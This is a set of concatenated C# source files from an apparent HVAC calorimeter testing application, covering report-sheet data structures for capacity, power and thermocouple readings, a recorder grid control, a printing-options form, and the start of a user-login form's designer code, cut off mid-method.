private DevExpress.XtraGrid.Columns.GridColumn cgValueColumn;
private DevExpress.XtraGrid.GridControl plcGrid;
private DevExpress.XtraGrid.Views.Grid.GridView plcGridView;
private DevExpress.XtraGrid.Columns.GridColumn pgNameColumn;
private DevExpress.XtraGrid.Columns.GridColumn pgValueColumn;
private DevExpress.XtraGrid.GridControl recorder4Grid;
private DevExpress.XtraGrid.Views.Grid.GridView recorder4GridView;
private DevExpress.XtraGrid.Columns.GridColumn gridColumn3;
private DevExpress.XtraGrid.Columns.GridColumn gridColumn4;
private DevExpress.XtraGrid.GridControl recorder3Grid;
private DevExpress.XtraGrid.Views.Grid.GridView recorder3GridView;
private DevExpress.XtraGrid.Columns.GridColumn gridColumn5;
private DevExpress.XtraGrid.Columns.GridColumn gridColumn6;
private DevExpress.XtraGrid.GridControl recorder2Grid;
private DevExpress.XtraGrid.Views.Grid.GridView recorder2GridView;
private DevExpress.XtraGrid.Columns.GridColumn gridColumn1;
private DevExpress.XtraGrid.Columns.GridColumn gridColumn2;
private DevExpress.XtraGrid.GridControl recorder1Grid;
private DevExpress.XtraGrid.Views.Grid.GridView recorder1GridView;
private DevExpress.XtraGrid.Columns.GridColumn rgNameColumn;
private DevExpress.XtraGrid.Columns.GridColumn rgValueColumn;
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using DevExpress.Spreadsheet;
namespace Hnc.Calorimeter.Client
{
#region TestReport
public class TestReport
{
public TestReport(TestContext context)
{
this.context = context;
Method = new ConditionMethod();
Note = new ConditionNote();
Rated = new ConditionRated();
ValueSheets = new Dictionary<string, ReportSheet>();
DataRaw = new DataRawCollection(context);
}
private TestContext context;
public Int64 RecNo { get; set; }
public DateTime RegTime { get; set; }
public ConditionMethod Method { get; set; }
public ConditionNote Note { get; set; }
public ConditionRated Rated { get; set; }
public Dictionary<string, ReportSheet> ValueSheets { get; set; }
public DataRawCollection DataRaw { get; set; }
public void Initialize()
{
RecNo = -1;
RegTime = DateTime.Now;
ConditionSchedule sch = context.Condition.Schedules[context.Index];
ReportSheet sheet;
ConditionMethod method = context.Condition.Method;
Method.IntegralCount = method.IntegralCount;
Method.IntegralTime = method.IntegralTime;
Method.ScanTime = method.ScanTime;
Method.CoolingCapacity = method.CoolingCapacity;
Method.HeatingCapacity = method.HeatingCapacity;
Method.AirFlow = method.AirFlow;
Method.Enthalpy = method.Enthalpy;
Method.Pressure = method.Pressure;
Method.DiffPressure = method.DiffPressure;
Method.AtmPressure = method.AtmPressure;
Method.AutoControllerSetting = method.AutoControllerSetting;
Method.UsePowerMeterIntegral = method.UsePowerMeterIntegral;
ConditionNote note = context.Condition.Note;
Note.Company = note.Company;
Note.Name = note.Name;
Note.No = note.No;
Note.Observer = note.Observer;
Note.Maker = note.Maker;
Note.Model1 = note.Model1;
Note.Serial1 = note.Serial1;
Note.Model2 = note.Model2;
Note.Serial2 = note.Serial2;
Note.Model3 = note.Model3;
Note.Serial3 = note.Serial3;
Note.ExpDevice = note.ExpDevice;
Note.Refrigerant = note.Refrigerant;
Note.RefCharge = note.RefCharge;
Note.Memo = note.Memo;
EIndoorMode mode = sch.IndoorMode;
if (mode == EIndoorMode.NotUsed) mode = EIndoorMode.Cooling;
EUnitCapacity unitCapa = (mode == EIndoorMode.Cooling) ? method.CoolingCapacity : method.HeatingCapacity;
context.Value.SetUnitTo(EUnitType.Capacity, (int)unitCapa);
context.Value.SetUnitTo(EUnitType.EER_COP, (int)unitCapa);
ConditionRated rated = context.Condition.Rateds[EConditionRated.Total][(int)mode];
Rated.Capacity = rated.Capacity;
Rated.PowerInput = rated.PowerInput;
Rated.EER_COP = rated.EER_COP;
Rated.Voltage = rated.Voltage;
Rated.Current = rated.Current;
Rated.Frequency = rated.Frequency;
Rated.PM_IDU = rated.PM_IDU;
Rated.PM_ODU = rated.PM_ODU;
Rated.Wiring = rated.Wiring;
lock (ValueSheets)
{
string nozzleName;
string nozzleState = "O,O,O,O";
List<CoefficientDataRow> coeff = Resource.Settings.Coefficients;
ValueSheets.Clear();
nozzleName = $"Nozzle ({coeff[0].Nozzle1:f0}/{coeff[0].Nozzle2:f0}/{coeff[0].Nozzle3:f0}/{coeff[0].Nozzle4:f0})";
sheet = new ReportCalorieSheet(context, "ID1", "ID11",
sch.Indoor1DB, sch.Indoor1WB, sch.Indoor1Use, sch.Indoor1Mode1,
sch.OutdoorDB, sch.OutdoorWB, sch.OutdoorUse, sch.OutdoorDpSensor,
nozzleName, nozzleState);
sheet.Use = (sch.Indoor1Use == EIndoorUse.Indoor) ? true : false;
ValueSheets.Add("ID A #1", sheet);
nozzleName = $"Nozzle ({coeff[1].Nozzle1:f0}/{coeff[1].Nozzle2:f0}/{coeff[1].Nozzle3:f0}/{coeff[1].Nozzle4:f0})";
sheet = new ReportCalorieSheet(context, "ID1", "ID12",
sch.Indoor1DB, sch.Indoor1WB, sch.Indoor1Use, sch.Indoor1Mode2,
sch.OutdoorDB, sch.OutdoorWB, sch.OutdoorUse, sch.OutdoorDpSensor,
nozzleName, nozzleState);
sheet.Use = (sch.Indoor1Use == EIndoorUse.Indoor) ? true : false;
ValueSheets.Add("ID A #2", sheet);
nozzleName = $"Nozzle ({coeff[2].Nozzle1:f0}/{coeff[2].Nozzle2:f0}/{coeff[2].Nozzle3:f0}/{coeff[2].Nozzle4:f0})";
sheet = new ReportCalorieSheet(context, "ID2", "ID21",
sch.Indoor2DB, sch.Indoor2WB, sch.Indoor2Use, sch.Indoor2Mode1,
sch.OutdoorDB, sch.OutdoorWB, sch.OutdoorUse, sch.OutdoorDpSensor,
nozzleName, nozzleState);
sheet.Use = (sch.Indoor2Use == EIndoorUse.Indoor) ? true : false;
ValueSheets.Add("ID B #1", sheet);
nozzleName = $"Nozzle ({coeff[3].Nozzle1:f0}/{coeff[3].Nozzle2:f0}/{coeff[3].Nozzle3:f0}/{coeff[3].Nozzle4:f0})";
sheet = new ReportCalorieSheet(context, "ID2", "ID22",
sch.Indoor2DB, sch.Indoor2WB, sch.Indoor2Use, sch.Indoor2Mode2,
sch.OutdoorDB, sch.OutdoorWB, sch.OutdoorUse, sch.OutdoorDpSensor,
nozzleName, nozzleState);
sheet.Use = (sch.Indoor2Use == EIndoorUse.Indoor) ? true : false;
ValueSheets.Add("ID B #2", sheet);
sheet = new ReportThermoSheet(context, "ID1", "",
sch.Indoor1DB, sch.Indoor1WB, sch.Indoor1Use, sch.Indoor1Mode1,
sch.OutdoorDB, sch.OutdoorWB, sch.OutdoorUse, sch.OutdoorDpSensor, "", "");
if (sheet.Use == true)
{
sheet.Use = (sch.Indoor1Use == EIndoorUse.Indoor) ? true : false;
}
ValueSheets.Add("ID A TC", sheet);
sheet = new ReportThermoSheet(context, "ID2", "",
sch.Indoor2DB, sch.Indoor2WB, sch.Indoor2Use, sch.Indoor2Mode1,
sch.OutdoorDB, sch.OutdoorWB, sch.OutdoorUse, sch.OutdoorDpSensor, "", "");
if (sheet.Use == true)
{
sheet.Use = (sch.Indoor2Use == EIndoorUse.Indoor) ? true : false;
}
ValueSheets.Add("ID B TC", sheet);
sheet = new ReportThermoSheet(context, "OD", "",
sch.Indoor1DB, sch.Indoor1WB, sch.Indoor1Use, sch.Indoor1Mode1,
sch.OutdoorDB, sch.OutdoorWB, sch.OutdoorUse, sch.OutdoorDpSensor, "", "");
if (sheet.Use == true)
{
sheet.Use = (sch.OutdoorUse == EOutdoorUse.Outdoor) ? true : false;
}
ValueSheets.Add("OD TC", sheet);
}
DataRaw.Clear();
foreach (KeyValuePair<string, ValueRow> row in context.Value.Calcurated)
{
if (row.Value.Save == true)
{
DataRaw.Rows.Add(row.Key, new DataRaw(-1, row.Value));
}
}
foreach (KeyValuePair<string, ValueRow> row in context.Value.Measured)
{
if (row.Value.Save == true)
{
DataRaw.Rows.Add(row.Key, new DataRaw(-1, row.Value));
}
}
DataRaw.Count = DataRaw.Rows.Count / 600;
if ((DataRaw.Rows.Count % 600) != 0) DataRaw.Count++;
}
public void RefreshCondition()
{
ConditionSchedule sch = context.Condition.Schedules[context.Index];
ConditionNote note = context.Condition.Note;
Note.Company = note.Company;
Note.Name = note.Name;
Note.No = note.No;
Note.Observer = note.Observer;
Note.Maker = note.Maker;
Note.Model1 = note.Model1;
Note.Serial1 = note.Serial1;
Note.Model2 = note.Model2;
Note.Serial2 = note.Serial2;
Note.Model3 = note.Model3;
Note.Serial3 = note.Serial3;
Note.ExpDevice = note.ExpDevice;
Note.Refrigerant = note.Refrigerant;
Note.RefCharge = note.RefCharge;
Note.Memo = note.Memo;
EIndoorMode mode = sch.IndoorMode;
if (mode == EIndoorMode.NotUsed) mode = EIndoorMode.Cooling;
ConditionRated rated = context.Condition.Rateds[EConditionRated.Total][(int)mode];
Rated.Capacity = rated.Capacity;
Rated.PowerInput = rated.PowerInput;
Rated.EER_COP = rated.EER_COP;
Rated.Voltage = rated.Voltage;
Rated.Current = rated.Current;
Rated.Frequency = rated.Frequency;
Rated.PM_IDU = rated.PM_IDU;
Rated.PM_ODU = rated.PM_ODU;
Rated.Wiring = rated.Wiring;
(ValueSheets["ID A #1"] as ReportCalorieSheet).Set(sch.Indoor1DB, sch.Indoor1WB, sch.OutdoorDB, sch.OutdoorWB);
(ValueSheets["ID A #2"] as ReportCalorieSheet).Set(sch.Indoor1DB, sch.Indoor1WB, sch.OutdoorDB, sch.OutdoorWB);
(ValueSheets["ID B #1"] as ReportCalorieSheet).Set(sch.Indoor2DB, sch.Indoor2WB, sch.OutdoorDB, sch.OutdoorWB);
(ValueSheets["ID B #2"] as ReportCalorieSheet).Set(sch.Indoor2DB, sch.Indoor2WB, sch.OutdoorDB, sch.OutdoorWB);
(ValueSheets["ID A TC"] as ReportThermoSheet).Set(sch.Indoor1DB, sch.Indoor1WB, sch.OutdoorDB, sch.OutdoorWB);
(ValueSheets["ID A TC"] as ReportThermoSheet).Reinitialize();
(ValueSheets["ID B TC"] as ReportThermoSheet).Set(sch.Indoor2DB, sch.Indoor2WB, sch.OutdoorDB, sch.OutdoorWB);
(ValueSheets["ID B TC"] as ReportThermoSheet).Reinitialize();
(ValueSheets["OD TC"] as ReportThermoSheet).Set(sch.Indoor1DB, sch.Indoor1WB, sch.OutdoorDB, sch.OutdoorWB);
(ValueSheets["OD TC"] as ReportThermoSheet).Reinitialize();
}
public void Clear()
{
lock (this)
{
// Reset PK_RECNO of TB_DATABOOK
RecNo = -1;
foreach (KeyValuePair<string, ReportSheet> sheet in ValueSheets)
{
// Reset PK_RECNO of TB_DATASHEET
sheet.Value.RecNo = -1;
foreach (KeyValuePair<string, ReportRow> row in sheet.Value.Rows)
{
// Reset PK_RECNO of TB_DATAVALUEUNIT
row.Value.RecNo = -1;
foreach (ReportCell cell in row.Value.Cells)
{
cell.Clear();
}
}
}
foreach (KeyValuePair<string, DataRaw> row in DataRaw.Rows)
{
// Reset PK_RECNO of TB_DATARAWUNIT
row.Value.RecNo = -1;
row.Value.Row.Storage.Reset();
}
}
}
public void Lock()
{
Monitor.Enter(this);
}
public void Unlock()
{
Monitor.Exit(this);
}
}
public abstract class ReportSheet
{
public ReportSheet(TestContext context, string head1, string head2,
float idDB, float idWB, EIndoorUse idUse, EIndoorMode idMode,
float odDB, float odWB, EOutdoorUse odUse, EEtcUse odDp,
string nozzleName, string nozzleState)
{
RecNo = -1;
IndoorDB = idDB;
IndoorWB = idWB;
IndoorUse = idUse;
IndoorMode = idMode;
OutdoorDB = odDB;
OutdoorWB = odWB;
OutdoorUse = odUse;
OutdoorDP = odDp;
NozzleName = nozzleName;
NozzleState = nozzleState;
Rows = new Dictionary<string, ReportRow>();
TcTags = null;
if (string.IsNullOrWhiteSpace(head2) == true)
{
switch (head1)
{
case "ID1":
TcTags = context.Condition.TC1;
break;
case "ID2":
TcTags = context.Condition.TC2;
break;
case "OD":
TcTags = context.Condition.TC3;
break;
}
}
Initialize(context.Value, head1, head2);
}
public Int64 RecNo { get; set; }
public float IndoorDB { get; set; }
public float IndoorWB { get; set; }
public bool Use { get; set; }
public EIndoorUse IndoorUse { get; set; }
public EIndoorMode IndoorMode { get; set; }
public float OutdoorDB { get; set; }
public float OutdoorWB { get; set; }
public EOutdoorUse OutdoorUse { get; set; }
public EEtcUse OutdoorDP { get; set; }
public string NozzleName { get; set; }
public string NozzleState { get; set; }
public Dictionary<string, ReportRow> Rows { get; set; }
public bool Enabled
{ get { return (Rows.Count == 0) ? false : true; } }
public List<MeasureRow> TcTags { get; private set; }
protected abstract void Initialize(TestValue value, string head1, string head2);
public virtual void Set(float idDB, float idWB, float odDB, float odWB)
{
IndoorDB = idDB;
IndoorWB = idWB;
OutdoorDB = odDB;
OutdoorWB = odWB;
}
public void ClearData(int index)
{
foreach (KeyValuePair<string, ReportRow> row in Rows)
{
row.Value.Cells[index].Raw = float.NaN;
}
}
public void RefreshData(int index)
{
foreach (KeyValuePair<string, ReportRow> row in Rows)
{
if (row.Value.Row != null)
row.Value.Cells[index].Raw = row.Value.Row.Raw;
else
row.Value.Cells[index].Raw = float.NaN;
}
}
}
public class ReportCalorieSheet : ReportSheet
{
public ReportCalorieSheet(TestContext context, string head1, string head2,
float idDB, float idWB, EIndoorUse idUse, EIndoorMode idMode, float odDB,
float odWB, EOutdoorUse odUse, EEtcUse odDp, string nozzleName, string nozzleState)
: base(context, head1, head2, idDB, idWB, idUse, idMode,
odDB, odWB, odUse, odDp, nozzleName, nozzleState)
{
}
protected override void Initialize(TestValue value, string head1, string head2)
{
if (IndoorUse == EIndoorUse.NotUsed) return;
if (IndoorMode == EIndoorMode.NotUsed)
{
Rows.Add("Total.Capacity", new ReportRow("324", null));
Rows.Add("Total.Power", new ReportRow("325", value.Calcurated["Total.Power"]));
Rows.Add("Total.EER_COP", new ReportRow("326", null));
Rows.Add("Total.Capacity.Ratio", new ReportRow("327", null));
Rows.Add("Total.Power.Ratio", new ReportRow("328", value.Calcurated["Total.Power.Ratio"]));
Rows.Add("Total.EER_COP.Ratio", new ReportRow("329", null));
Rows.Add("IDU.Power", new ReportRow("330", value.Calcurated[head1+".IDU.Power"]));
Rows.Add("IDU.Voltage", new ReportRow("331", value.Calcurated[head1+".IDU.Voltage"]));
Rows.Add("IDU.Current", new ReportRow("332", value.Calcurated[head1+".IDU.Current"]));
Rows.Add("IDU.Frequency", new ReportRow("333", value.Calcurated[head1+".IDU.Frequency"]));
Rows.Add("IDU.Power.Factor", new ReportRow("334", value.Calcurated[head1+".IDU.Power.Factor"]));
Rows.Add("ODU.Power", new ReportRow("335", value.Calcurated[head1+".ODU.Power"]));
Rows.Add("ODU.Voltage", new ReportRow("336", value.Calcurated[head1+".ODU.Voltage"]));
Rows.Add("ODU.Current", new ReportRow("337", value.Calcurated[head1+".ODU.Current"]));
Rows.Add("ODU.Frequency", new ReportRow("338", value.Calcurated[head1+".ODU.Frequency"]));
Rows.Add("ODU.Power.Factor", new ReportRow("339", value.Calcurated[head1+".ODU.Power.Factor"]));
Rows.Add("Capacity", new ReportRow("341", null));
Rows.Add("Capacity.Ratio", new ReportRow("394", null));
Rows.Add("Sensible.Heat", new ReportRow("342", null));
Rows.Add("Latent.Heat", new ReportRow("343", null));
Rows.Add("Sensible.Heat.Ratio", new ReportRow("344", null));
Rows.Add("Heat.Leakage", new ReportRow("345", null));
Rows.Add("Drain.Weight", new ReportRow("346", null));
Rows.Add("Entering.DB", new ReportRow("347", value.Measured[head2+".Entering.DB"]));
Rows.Add("Entering.WB", new ReportRow("348", value.Measured[head2+".Entering.WB"]));
Rows.Add("Entering.RH", new ReportRow("349", value.Calcurated[head2+".Entering.RH"]));
Rows.Add("Leaving.DB", new ReportRow("350", value.Measured[head2+".Leaving.DB"]));
Rows.Add("Leaving.WB", new ReportRow("351", value.Measured[head2+".Leaving.WB"]));
Rows.Add("Leaving.RH", new ReportRow("352", value.Calcurated[head2+".Leaving.RH"]));
Rows.Add("Entering.Enthalpy", new ReportRow("353", null));
Rows.Add("Leaving.Enthalpy", new ReportRow("354", null));
Rows.Add("Entering.Humidity.Ratio", new ReportRow("355", null));
Rows.Add("Leaving.Humidity.Ratio", new ReportRow("356", null));
Rows.Add("Leaving.Specific.Heat", new ReportRow("357", null));
Rows.Add("Leaving.Specific.Volume", new ReportRow("358", null));
Rows.Add("Air.Flow.Lev", new ReportRow("359", null));
Rows.Add("Static.Pressure", new ReportRow("360", null));
Rows.Add("Nozzle.Diff.Pressure", new ReportRow("361", null));
Rows.Add("Atm.Pressure", new ReportRow("362", null));
Rows.Add("Nozzle.Inlet.Temp", new ReportRow("363", null));
Rows.Add("Nozzle", new ReportRow("365", null));
}
else
{
Rows.Add("Total.Capacity", new ReportRow("324", value.Calcurated["Total.Capacity"]));
Rows.Add("Total.Power", new ReportRow("325", value.Calcurated["Total.Power"]));
Rows.Add("Total.EER_COP", new ReportRow("326", value.Calcurated["Total.EER_COP"]));
Rows.Add("Total.Capacity.Ratio", new ReportRow("327", value.Calcurated["Total.Capacity.Ratio"]));
Rows.Add("Total.Power.Ratio", new ReportRow("328", value.Calcurated["Total.Power.Ratio"]));
Rows.Add("Total.EER_COP.Ratio", new ReportRow("329", value.Calcurated["Total.EER_COP.Ratio"]));
Rows.Add("IDU.Power", new ReportRow("330", value.Calcurated[head1+".IDU.Power"]));
Rows.Add("IDU.Voltage", new ReportRow("331", value.Calcurated[head1+".IDU.Voltage"]));
Rows.Add("IDU.Current", new ReportRow("332", value.Calcurated[head1+".IDU.Current"]));
Rows.Add("IDU.Frequency", new ReportRow("333", value.Calcurated[head1+".IDU.Frequency"]));
Rows.Add("IDU.Power.Factor", new ReportRow("334", value.Calcurated[head1+".IDU.Power.Factor"]));
Rows.Add("ODU.Power", new ReportRow("335", value.Calcurated[head1+".ODU.Power"]));
Rows.Add("ODU.Voltage", new ReportRow("336", value.Calcurated[head1+".ODU.Voltage"]));
Rows.Add("ODU.Current", new ReportRow("337", value.Calcurated[head1+".ODU.Current"]));
Rows.Add("ODU.Frequency", new ReportRow("338", value.Calcurated[head1+".ODU.Frequency"]));
Rows.Add("ODU.Power.Factor", new ReportRow("339", value.Calcurated[head1+".ODU.Power.Factor"]));
Rows.Add("Capacity", new ReportRow("341", value.Calcurated[head2+".Capacity"]));
Rows.Add("Capacity.Ratio", new ReportRow("394", value.Calcurated[head2+".Capacity.Ratio"]));
Rows.Add("Sensible.Heat", new ReportRow("342", value.Calcurated[head2+".Sensible.Heat"]));
Rows.Add("Latent.Heat", new ReportRow("343", value.Calcurated[head2+".Latent.Heat"]));
Rows.Add("Sensible.Heat.Ratio", new ReportRow("344", value.Calcurated[head2+".Sensible.Heat.Ratio"]));
Rows.Add("Heat.Leakage", new ReportRow("345", value.Calcurated[head2+".Heat.Leakage"]));
Rows.Add("Drain.Weight", new ReportRow("346", value.Calcurated[head2+".Drain.Weight"]));
Rows.Add("Entering.DB", new ReportRow("347", value.Measured[head2+".Entering.DB"]));
Rows.Add("Entering.WB", new ReportRow("348", value.Measured[head2+".Entering.WB"]));
Rows.Add("Entering.RH", new ReportRow("349", value.Calcurated[head2+".Entering.RH"]));
Rows.Add("Leaving.DB", new ReportRow("350", value.Measured[head2+".Leaving.DB"]));
Rows.Add("Leaving.WB", new ReportRow("351", value.Measured[head2+".Leaving.WB"]));
Rows.Add("Leaving.RH", new ReportRow("352", value.Calcurated[head2+".Leaving.RH"]));
Rows.Add("Entering.Enthalpy", new ReportRow("353", value.Calcurated[head2+".Entering.Enthalpy"]));
Rows.Add("Leaving.Enthalpy", new ReportRow("354", value.Calcurated[head2+".Leaving.Enthalpy"]));
Rows.Add("Entering.Humidity.Ratio", new ReportRow("355", value.Calcurated[head2+".Entering.Humidity.Ratio"]));
Rows.Add("Leaving.Humidity.Ratio", new ReportRow("356", value.Calcurated[head2+".Leaving.Humidity.Ratio"]));
Rows.Add("Leaving.Specific.Heat", new ReportRow("357", value.Calcurated[head2+".Leaving.Specific.Heat"]));
Rows.Add("Leaving.Specific.Volume", new ReportRow("358", value.Calcurated[head2+".Leaving.Specific.Volume"]));
Rows.Add("Air.Flow.Lev", new ReportRow("359", value.Calcurated[head2+".Air.Flow.Lev"]));
Rows.Add("Static.Pressure", new ReportRow("360", value.Measured[head2+".Static.Pressure"]));
Rows.Add("Nozzle.Diff.Pressure", new ReportRow("361", value.Measured[head2+".Nozzle.Diff.Pressure"]));
Rows.Add("Atm.Pressure", new ReportRow("362", value.Measured[head1+".Atm.Pressure"]));
Rows.Add("Nozzle.Inlet.Temp", new ReportRow("363", value.Measured[head2 + ".Nozzle.Inlet.Temp"]));
Rows.Add("Nozzle", new ReportRow("365", value.Calcurated[head2 + ".Nozzle"]));
}
if (OutdoorUse == EOutdoorUse.Outdoor)
{
Rows.Add("OD.Entering.DB", new ReportRow("366", value.Measured["OD.Entering.DB"]));
Rows.Add("OD.Entering.WB", new ReportRow("367", value.Measured["OD.Entering.WB"]));
Rows.Add("OD.Entering.RH", new ReportRow("368", value.Calcurated["OD.Entering.RH"]));
Rows.Add("OD.Entering.DP", new ReportRow("369", value.Measured["OD.Entering.DP"]));
}
}
}
public class ReportThermoSheet : ReportSheet
{
public ReportThermoSheet(TestContext context, string head1, string head2,
float idDB, float idWB, EIndoorUse idUse, EIndoorMode idMode, float odDB,
float odWB, EOutdoorUse odUse, EEtcUse odDp, string nozzleName, string nozzleState)
: base(context, head1, head2, idDB, idWB, idUse, idMode,
odDB, odWB, odUse, odDp, nozzleName, nozzleState)
{
this.context = context;
this.head1 = head1;
this.head2 = head2;
}
private TestContext context;
private string head1;
private string head2;
protected override void Initialize(TestValue value, string head1, string head2)
{
if (IsTcTagsEmpty() == true)
{
Use = false;
return;
}
if (head1.Substring(0, 2) == "ID")
{
if (IndoorUse == EIndoorUse.NotUsed) return;
}
else
{
if (OutdoorUse == EOutdoorUse.NotUsed) return;
}
Use = true;
for (int i = 0; i < 60; i++)
{
if (string.IsNullOrWhiteSpace(TcTags[i].Name) == true)
{
Rows.Add($"TC {i + 1:d2}", new ReportRow($"{525 + i}", null));
}
else
{
Rows.Add($"TC {i + 1:d2}", new ReportRow($"{525 + i}", value.Measured[head1 + $".TC.{i + 1:d3}"], TcTags[i].Name));
}
}
}
public void Reinitialize()
{
if (IsTcTagsEmpty() == true)
{
Use = false;
return;
}
if (head1.Substring(0, 2) == "ID")
{
if (IndoorUse == EIndoorUse.NotUsed) return;
}
else
{
if (OutdoorUse == EOutdoorUse.NotUsed) return;
}
Use = true;
Rows.Clear();
for (int i = 0; i < 60; i++)
{
if (string.IsNullOrWhiteSpace(TcTags[i].Name) == true)
{
Rows.Add($"TC {i + 1:d2}", new ReportRow($"{525 + i}", null));
}
else
{
Rows.Add($"TC {i + 1:d2}", new ReportRow($"{525 + i}", context.Value.Measured[head1 + $".TC.{i + 1:d3}"], TcTags[i].Name));
}
}
}
private bool IsTcTagsEmpty()
{
bool empty = true;
foreach (MeasureRow row in TcTags)
{
if (string.IsNullOrWhiteSpace(row.Name) == false)
{
empty = false;
break;
}
}
return empty;
}
}
public class ReportRow
{
public ReportRow(string tag, ValueRow row, string alias="", int count = 7)
{
RecNo = -1;
Tag = tag;
Row = row;
Alias = alias;
if (count > 7) count = 7;
count++;
float value = (Row == null) ? float.NaN : 0;
string format = (Row == null) ? "" : Row.Format;
Cells = new List<ReportCell>();
for (int i = 0; i < count; i++)
{
Cells.Add(new ReportCell($"{Tag}-{i + 1}", value, format));
}
}
public Int64 RecNo { get; set; }
public string Tag { get; }
public ValueRow Row { get; }
public string Alias { get; }
public List<ReportCell> Cells { get; }
public float Average
{
get
{
if (Row == null) return float.NaN;
int i = 0;
float sum = 0;
foreach (ReportCell cell in Cells)
{
if (cell.Raw == 0.0) break;
if (float.IsNaN(cell.Raw) == true) break;
if (string.IsNullOrWhiteSpace(cell.Value) == true) break;
sum += cell.Raw;
i++;
}
return (i == 0) ? 0 : (sum / i);
}
}
public int Count { get { return Cells.Count; } }
}
public class ReportCell
{
public ReportCell(string tag, float value, string format, string strValue = "")
{
Tag = tag;
Raw = value;
Format = format;
StrValue = strValue;
}
public string Tag { get; }
public float Raw { get; set; }
public string Value
{
get
{
if (StrValue != "") return StrValue;
if (Format == "") return "";
if (float.IsNaN(Raw) == true) return "";
return Raw.ToString(Format);
}
}
public string Format { get; }
public string StrValue { get; set; }
public void Clear()
{
Raw = 0;
StrValue = "";
}
}
public class DataRawCollection
{
public DataRawCollection(TestContext context)
{
this.Count = 1;
this.Rows = new Dictionary<string, DataRaw>();
this.context = context;
}
private TestContext context;
public int Count { get; set; }
public Dictionary<string, DataRaw> Rows { get; private set; }
public bool HalfFull
{
get
{
bool state = false;
context.Value.Lock();
try
{
foreach (KeyValuePair<string, DataRaw> dataRaw in Rows)
{
if (dataRaw.Value.Row.Storage.HalfFull == true)
{
state = true;
break;
}
}
}
finally
{
context.Value.Unlock();
}
return state;
}
}
public DataRaw HalfFullDataRaw
{
get
{
DataRaw raw = null;
context.Value.Lock();
try
{
foreach (KeyValuePair<string, DataRaw> dataRaw in Rows)
{
if (dataRaw.Value.Row.Storage.HalfFull == true)
{
raw = dataRaw.Value;
break;
}
}
}
finally
{
context.Value.Unlock();
}
return raw;
}
}
public void Clear()
{
Count = 1;
Rows.Clear();
}
}
public class DataRaw
{
public DataRaw(Int64 recNo=-1, ValueRow row=null)
{
RecNo = recNo;
Row = row;
}
public Int64 RecNo { get; set; }
public ValueRow Row { get; set; }
}
#endregion
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Data;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using Ulee.Controls;
namespace Hnc.Calorimeter.Client
{
public partial class CtrlRecorderView : UlUserControlEng
{
public CtrlRecorderView(string name, List<DeviceValueRow<float>> values)
{
InitializeComponent();
titleEdit.Text = name;
recorderGrid.DataSource = values;
recorderGridView.Appearance.EvenRow.BackColor = Color.FromArgb(244, 244, 236);
recorderGridView.OptionsView.EnableAppearanceEvenRow = true;
}
private void CtrlRecorderView_Load(object sender, EventArgs e)
{
}
public void RefreshMeter()
{
recorderGridView.RefreshData();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using Ulee.Controls;
namespace Hnc.Calorimeter.Client
{
public partial class FormPrintingOption : UlFormEng
{
public FormPrintingOption()
{
InitializeComponent();
}
public bool AutoExcel { get { return autoExcelCheck.Checked; } }
public bool StoppedTestExcel { get { return stoppedTestExcelCheck.Checked; } }
public bool Indoor11 { get { return indoor11Check.Checked; } }
public bool Indoor12 { get { return indoor12Check.Checked; } }
public bool Indoor21 { get { return indoor21Check.Checked; } }
public bool Indoor22 { get { return indoor22Check.Checked; } }
public bool IndoorTC1 { get { return indoorTC1Check.Checked; } }
public bool IndoorTC2 { get { return indoorTC2Check.Checked; } }
public bool OutdoorTC { get { return outdoorTCCheck.Checked; } }
private void FormPrintingOption_Load(object sender, EventArgs e)
{
Resource.Settings.Load();
TestOptions opt = Resource.Settings.Options;
autoExcelCheck.Checked = opt.AutoExcel;
stoppedTestExcelCheck.Checked = opt.StoppedTestExcel;
indoor11Check.Checked = opt.Indoor11;
indoor12Check.Checked = opt.Indoor12;
indoor21Check.Checked = opt.Indoor21;
indoor22Check.Checked = opt.Indoor22;
indoorTC1Check.Checked = opt.Indoor1TC;
indoorTC2Check.Checked = opt.Indoor2TC;
outdoorTCCheck.Checked = opt.OutdoorTC;
}
private void FormPrintingOption_KeyPress(object sender, KeyPressEventArgs e)
{
if (e.KeyChar == (char)Keys.Escape)
{
cancelButton.PerformClick();
}
}
}
}
<file_sep>namespace Hnc.Calorimeter.Server
{
partial class FormUserLogin
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormUserLogin));
this.cancelButton = new System.Windows.Forms.Button();
this.okButton = new System.Windows.Forms.Button();
this.userCombo = new System.Windows.Forms.ComboBox();
this.label5 = new System.Windows.Forms.Label();
this.passwdEdit = new DevExpress.XtraEditors.TextEdit();
this.prtSpeedLabel = new System.Windows.Forms.Label();
this.bgPanel.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.passwdEdit.Properties)).BeginInit();
this.SuspendLayout();
//
// bgPanel
//
this.bgPanel.BevelOuter = Ulee.Controls.EUlBevelStyle.Single;
this.bgPanel.Controls.Add(this.userCombo);
this.bgPanel.Controls.Add(this.label5);
this.bgPanel.Controls.Add(this.passwdEdit);
this.bgPanel.Controls.Add(this.prtSpeedLabel);
this.bgPanel.Controls.Add(this.cancelButton);
this.bgPanel.Controls.Add(this.okButton);
this.bgPanel.Size = new System.Drawing.Size(300, 180);
//
// cancelButton
//
this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel;
this.cancelButton.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.cancelButton.Image = ((System.Drawing.Image)(resources.GetObject("cancelButton.Image")));
this.cancelButton.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.cancelButton.Location = new System.Drawing.Point(154, 134);
this.cancelButton.Name = "cancelButton";
